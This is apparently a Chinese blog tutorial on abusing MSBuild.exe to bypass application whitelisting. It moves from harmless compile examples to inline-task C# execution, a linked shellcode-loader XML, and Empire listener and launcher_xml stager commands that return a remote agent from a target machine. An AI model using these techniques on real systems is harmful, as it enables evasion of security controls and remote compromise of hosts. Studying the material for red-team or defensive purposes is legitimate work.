白名单-MSBUILD的利用
简介
MSBuild能在没有安装vs的环境中编译.net的工程文件,能编译一些特定格式的xml文件。
具体的可以看官方的文档:
https://docs.microsoft.com/zh-tw/visualstudio/msbuild/msbuild?view=vs-2015&redirectedfrom=MSDN
测试
首先来几个简单的案例。
编译生成可执行文件
详细的内容还是看上看的官方文档。
测试代码:
using System;
namespace ForTest
{
class Test
{
static void Main()
{
Console.WriteLine("test!");
}
}
}
保存为test.cs。
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Compile">
<CSC Sources="test.cs" OutputAssembly="test.exe" />
</Target>
</Project>
保存为test.csproj。
这里的文件是什么后缀无所谓,只要符合xml格式就可以进行编译。
因为msbuild没有加入环境变量,要给上全路径或者直接到对应目录下进行编译。
C:\Windows\Microsoft.Net\Framework\v4.0.30319\msbuild.exe test.csproj
编译后会在对应目录下生成一个exe文件。
运行以后会输出test。
编译执行C#代码
将需要执行的代码嵌入在xml中,后面也是基于这个去执行payload。
来个简单的例子:
<Project ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This simple inline task does nothing. -->
<UsingTask
TaskName="DoNothing"
TaskFactory="CodeTaskFactory"
AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.v12.0.dll" >
<ParameterGroup />
<Task>
<Reference Include="" />
<Using Namespace="" />
<Code Type="Fragment" Language="cs">
</Code>
</Task>
</UsingTask>
</Project>
这是官方的例子,我们在
<Code></Code>
中添加需要执行的代码。
<![CDATA[
Console.WriteLine("test!");
]]>
同样的这个文件后缀也无所谓,只要满足对应的xml语法就可以了。
加载shellcode
通过向xml中添加内嵌代码,用来加载shellcode。
这里直接给出三好学生老师傅的代码。https://raw.githubusercontent.com/3gstudent/msbuild-inline-task/master/executes%20shellcode.xml
将其中的shellcode替换掉。
保存为何种格式无所谓,直接通过msbuild编译。
也可以编译xml。
可以看到已经能上线了。
Empire
通过empire可以直接生成对应的xml文件,直接可以进行编译返回agent的操作。
先listener。
uselistener http
set Name test
set Host http://xxx.xxx.xxx.xxx:xxxx
set Port xxxx
execute
然后生成对应的xml文件。
usestager windows/launcher_xml
set Listener test
execute
在靶机上执行:
可以看到返回一个agent。
后面可以继续用interact 命令去操作这个agent,这里不继续了。
总结
msbuild的用法还有很多水平有限,有兴趣的可以去看看一些老师傅的文章。
参考
https://3gstudent.github.io/3gstudent.github.io/Use-MSBuild-To-Do-More/
https://www.hackingarticles.in/bypass-application-whitelisting-using-msbuild-exe-multiple-methods/